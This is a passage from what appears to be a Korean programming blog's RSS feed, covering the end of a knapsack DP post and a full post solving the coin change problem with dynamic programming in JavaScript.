data-origin-height=&quot;800&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1600&quot; data-origin-height=&quot;800&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCmm0P/btsOmr3Gmm3/acUiAMFuMmu0fiO4Hm5drk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCmm0P/btsOmr3Gmm3/acUiAMFuMmu0fiO4Hm5drk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCmm0P/btsOmr3Gmm3/acUiAMFuMmu0fiO4Hm5drk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCmm0P%2FbtsOmr3Gmm3%2FacUiAMFuMmu0fiO4Hm5drk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1600&quot; height=&quot;800&quot; data-origin-width=&quot;1600&quot; data-origin-height=&quot;800&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1600&quot; data-origin-height=&quot;800&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dyDZxf/btsOos07A2A/Fawg7mOwVUiiyxLwiXoHSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dyDZxf/btsOos07A2A/Fawg7mOwVUiiyxLwiXoHSK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dyDZxf/btsOos07A2A/Fawg7mOwVUiiyxLwiXoHSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdyDZxf%2FbtsOos07A2A%2FFawg7mOwVUiiyxLwiXoHSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1600&quot; height=&quot;800&quot; data-origin-width=&quot;1600&quot; data-origin-height=&quot;800&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1600&quot; data-origin-height=&quot;800&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMMseC/btsOos07A3s/0BzUqoEMy9hHaBWgKoKKm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMMseC/btsOos07A3s/0BzUqoEMy9hHaBWgKoKKm1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMMseC/btsOos07A3s/0BzUqoEMy9hHaBWgKoKKm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMMseC%2FbtsOos07A3s%2F0BzUqoEMy9hHaBWgKoKKm1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1600&quot; height=&quot;800&quot; data-origin-width=&quot;1600&quot; data-origin-height=&quot;800&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1600&quot; data-origin-height=&quot;800&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1IO8d/btsOog7O1qR/O2LrME5Vk0fWXJ32J9Rkpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1IO8d/btsOog7O1qR/O2LrME5Vk0fWXJ32J9Rkpk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1IO8d/btsOog7O1qR/O2LrME5Vk0fWXJ32J9Rkpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1IO8d%2FbtsOog7O1qR%2FO2LrME5Vk0fWXJ32J9Rkpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1600&quot; height=&quot;800&quot; data-origin-width=&quot;1600&quot; data-origin-height=&quot;800&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;압축파일에는 각 프레임이 이미지로 포함되어 있어, DP 테이블이 어떻게 채워지는지 하나하나 추적할 수 있습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;시간 및 공간 복잡도 분석&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;시간 복잡도:&lt;/b&gt; &lt;code&gt;O(n * capacity)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;공간 복잡도:&lt;/b&gt; &lt;code&gt;O(n * capacity)&lt;/code&gt; (최적화 시 O(capacity)까지 줄일 수 있음)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 방식은 배낭 문제를 효율적으로 해결할 수 있는 가장 일반적인 접근 중 하나입니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;실전 활용 사례&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;물류 및 자원 배분 최적화&lt;/li&gt;
&lt;li&gt;게임 인벤토리 설계 (무게 제한과 가치 고려)&lt;/li&gt;
&lt;li&gt;마케팅 예산 배분 전략&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;마무리&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0/1 배낭 문제는 동적 계획법을 익히는 데 매우 좋은 예제입니다. 코드의 흐름, DP 테이블의 작성 원리, 상태 전이 식의 의미를 명확히 이해하는 것이 중요합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;최적화 문제&quot;나 &quot;DP 유형 분류&quot; 등과도 연결되는 개념이므로, 다양한 변형 문제에도 도전해 보시길 추천드립니다.&lt;/p&gt;</description>
      <category>Programing/Algorithm</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/481</guid>
      <comments>https://eyecandyzero.tistory.com/481#entry481comment</comments>
      <pubDate>Tue, 3 Jun 2025 10:03:55 +0900</pubDate>
    </item>
    <item>
      <title>JavaScript로 해결하는 동전 교환 문제 (Coin Change Algorithm)</title>
      <link>https://eyecandyzero.tistory.com/480</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;동전 교환 문제란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;동전 교환 문제&quot;는 주어진 동전의 종류와 금액이 있을 때, 해당 금액을 만들기 위한 최소 동전 개수를 구하는 대표적인 &quot;동적 계획법(DP) 문제&quot;입니다. 이 문제는 실생활에서도 다양한 곳에서 활용됩니다. 예를 들어 자동 결제 시스템, POS 단말기, 게임 내 재화 계산 등에서 최적의 동전 개수를 계산해야 할 때 사용됩니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제 조건&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;동전의 종류: 정수 배열 형태 (예: [1, 2, 5])&lt;/li&gt;
&lt;li&gt;목표 금액: 양의 정수 (예: 11)&lt;/li&gt;
&lt;li&gt;목적: 해당 금액을 만들기 위한 &quot;최소 동전 개수&quot; 구하기&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;불가능한 경우에는 -1을 반환합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;자바스크립트로 구현하는 DP 기반 풀이&lt;/h2&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;function coinChange(coins, amount) {
  // &quot;DP 배열&quot;을 amount + 1 크기로 초기화 (모든 값은 무한대, 단 dp[0] = 0)
  const dp = new Array(amount + 1).fill(Infinity);
  dp[0] = 0;

  // 각 금액을 만들 수 있는 최소 동전 개수를 계산
  for (let i = 1; i &amp;lt;= amount; i++) {
    for (let coin of coins) {
      if (i - coin &amp;gt;= 0) {
        // 현재 금액에서 coin을 뺀 위치의 최소값 + 1
        dp[i] = Math.min(dp[i], dp[i - coin] + 1);
      }
    }
  }

  // 최종 결과 반환 (불가능한 경우 -1 처리)
  return dp[amount] === Infinity ? -1 : dp[amount];
}

// 예시 실행
console.log(coinChange([1, 2, 5], 11)); // 출력: 3 (5+5+1)
console.log(coinChange([2], 3));        // 출력: -1&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;코드 흐름 설명&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;초기에는 &quot;모든 값&quot;을 무한대로 설정해 어떤 조합도 불가능하다고 가정합니다.&lt;/li&gt;
&lt;li&gt;dp[0]은 금액이 0일 때 필요한 동전 수는 0이므로 0으로 초기화합니다.&lt;/li&gt;
&lt;li&gt;금액 1부터 목표 금액까지 차례로 탐색하며,
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;각 금액 i에 대해 사용 가능한 동전 coin을 시도해&lt;/li&gt;
&lt;li&gt;i - coin 위치의 최적값 + 1을 비교하여 &quot;최소 동전 개수&quot;를 갱신합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;dp[amount]에 값이 무한대가 남아 있다면 해당 금액을 만들 수 없다는 의미로 -1을 반환합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;DP 배열 변화 과정 시각화&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 coins = [1, 2, 5], amount = 11인 경우에 대해 DP 배열이 갱신되는 과정을 시각적으로 표현한 표입니다. 각 셀은 해당 금액을 만들기 위한 최소 동전 개수를 나타냅니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1589&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/caMMgo/btsOmjYH7Jk/pIMVR5BAwjHXX1sbsJX1gK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/caMMgo/btsOmjYH7Jk/pIMVR5BAwjHXX1sbsJX1gK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/caMMgo/btsOmjYH7Jk/pIMVR5BAwjHXX1sbsJX1gK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcaMMgo%2FbtsOmjYH7Jk%2FpIMVR5BAwjHXX1sbsJX1gK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1589&quot; height=&quot;313&quot; data-origin-width=&quot;1589&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1589&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6ZxQ3/btsOmxbKdUv/7KNSXkASO8f6NZYAJb31G1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6ZxQ3/btsOmxbKdUv/7KNSXkASO8f6NZYAJb31G1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6ZxQ3/btsOmxbKdUv/7KNSXkASO8f6NZYAJb31G1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6ZxQ3%2FbtsOmxbKdUv%2F7KNSXkASO8f6NZYAJb31G1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1589&quot; height=&quot;313&quot; data-origin-width=&quot;1589&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1589&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kOEX7/btsOoPV6oy5/5Rpm9PSVGdWkLwUOizxuX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kOEX7/btsOoPV6oy5/5Rpm9PSVGdWkLwUOizxuX1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kOEX7/btsOoPV6oy5/5Rpm9PSVGdWkLwUOizxuX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkOEX7%2FbtsOoPV6oy5%2F5Rpm9PSVGdWkLwUOizxuX1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1589&quot; height=&quot;313&quot; data-origin-width=&quot;1589&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1589&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfabYW/btsOnYGiGKA/ecssglIaMIdtjzvDuVBWpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfabYW/btsOnYGiGKA/ecssglIaMIdtjzvDuVBWpK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfabYW/btsOnYGiGKA/ecssglIaMIdtjzvDuVBWpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfabYW%2FbtsOnYGiGKA%2FecssglIaMIdtjzvDuVBWpK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1589&quot; height=&quot;313&quot; data-origin-width=&quot;1589&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1589&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xEXHc/btsOnwpIpPE/S9bVBq17uClQo7iyf2eKGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xEXHc/btsOnwpIpPE/S9bVBq17uClQo7iyf2eKGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xEXHc/btsOnwpIpPE/S9bVBq17uClQo7iyf2eKGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxEXHc%2FbtsOnwpIpPE%2FS9bVBq17uClQo7iyf2eKGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1589&quot; height=&quot;313&quot; data-origin-width=&quot;1589&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1589&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xtxLf/btsOolHWe3P/kpNI5F47nvIrdhDrujKk11/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xtxLf/btsOolHWe3P/kpNI5F47nvIrdhDrujKk11/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xtxLf/btsOolHWe3P/kpNI5F47nvIrdhDrujKk11/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxtxLf%2FbtsOolHWe3P%2FkpNI5F47nvIrdhDrujKk11%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1589&quot; height=&quot;313&quot; data-origin-width=&quot;1589&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1589&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boFvLS/btsOmuMQOxc/KwniwsfaJTk5GglOMkzhRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boFvLS/btsOmuMQOxc/KwniwsfaJTk5GglOMkzhRK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boFvLS/btsOmuMQOxc/KwniwsfaJTk5GglOMkzhRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboFvLS%2FbtsOmuMQOxc%2FKwniwsfaJTk5GglOMkzhRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1589&quot; height=&quot;313&quot; data-origin-width=&quot;1589&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1589&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/A5zs9/btsOm7XP6Wj/RiCibL7mU1geQY99SG7bhk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/A5zs9/btsOm7XP6Wj/RiCibL7mU1geQY99SG7bhk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/A5zs9/btsOm7XP6Wj/RiCibL7mU1geQY99SG7bhk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FA5zs9%2FbtsOm7XP6Wj%2FRiCibL7mU1geQY99SG7bhk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1589&quot; height=&quot;313&quot; data-origin-width=&quot;1589&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1589&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZEOyJ/btsOmbNxh7m/U74xNAGp7sKIVieTbbG2m0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZEOyJ/btsOmbNxh7m/U74xNAGp7sKIVieTbbG2m0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZEOyJ/btsOmbNxh7m/U74xNAGp7sKIVieTbbG2m0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZEOyJ%2FbtsOmbNxh7m%2FU74xNAGp7sKIVieTbbG2m0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1589&quot; height=&quot;313&quot; data-origin-width=&quot;1589&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1589&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b0f9t8/btsOonr67X0/2xgP0UN6L8sgG5lsoUFgw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b0f9t8/btsOonr67X0/2xgP0UN6L8sgG5lsoUFgw1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b0f9t8/btsOonr67X0/2xgP0UN6L8sgG5lsoUFgw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb0f9t8%2FbtsOonr67X0%2F2xgP0UN6L8sgG5lsoUFgw1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1589&quot; height=&quot;313&quot; data-origin-width=&quot;1589&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1589&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dw6AyF/btsOouq49FT/lBJiRPzwXSV0Q4XiTiQINk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dw6AyF/btsOouq49FT/lBJiRPzwXSV0Q4XiTiQINk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dw6AyF/btsOouq49FT/lBJiRPzwXSV0Q4XiTiQINk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdw6AyF%2FbtsOouq49FT%2FlBJiRPzwXSV0Q4XiTiQINk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1589&quot; height=&quot;313&quot; data-origin-width=&quot;1589&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 표를 참고하면 각 단계별 계산 과정을 직관적으로 이해할 수 있습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;시간 복잡도 분석&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;시간 복잡도: O(amount * coins.length)&lt;/li&gt;
&lt;li&gt;공간 복잡도: O(amount)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동전의 개수가 적고, 목표 금액이 클 경우에도 선형적으로 탐색이 가능하여 효율적인 풀이로 간주됩니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;활용 팁 및 주의사항&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;DP 배열&quot; 초기화 시 Infinity를 사용하는 것이 핵심입니다.&lt;/li&gt;
&lt;li&gt;동전 종류가 중복되거나 정렬되지 않아도 무방합니다.&lt;/li&gt;
&lt;li&gt;문제에 따라 &quot;동전 순서&quot;나 &quot;중복 사용 여부&quot;가 달라질 수 있으므로 조건을 명확히 확인해야 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;마무리 및 추천 자료&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;동전 교환 문제&quot;는 &quot;최적화 문제&quot;의 대표 예시로, 다양한 알고리즘 풀이 방식과 접근 전략을 연습하기에 적합한 주제입니다. 특히 &quot;동적 계획법(Dynamic Programming)&quot;을 처음 접하는 학습자에게 매우 유용한 연습 문제가 될 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 리소스를 통해 추가 학습을 추천합니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://leetcode.com/problems/coin-change/&quot;&gt;LeetCode Coin Change&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=YBSt1jYwVfU&quot;&gt;freeCodeCamp - DP 소개 강의&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://replit.com/languages/javascript&quot;&gt;replit JS 실습 플랫폼&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Programing/Algorithm</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/480</guid>
      <comments>https://eyecandyzero.tistory.com/480#entry480comment</comments>
      <pubDate>Tue, 3 Jun 2025 09:36:34 +0900</pubDate>
    </item>
    <item>
      <title>JavaScript로 이해하는 최적 경로 탐색 (최소 비용 경로, 다익스트라 알고리즘)</title>
      <link>https://eyecandyzero.tistory.com/479</link>
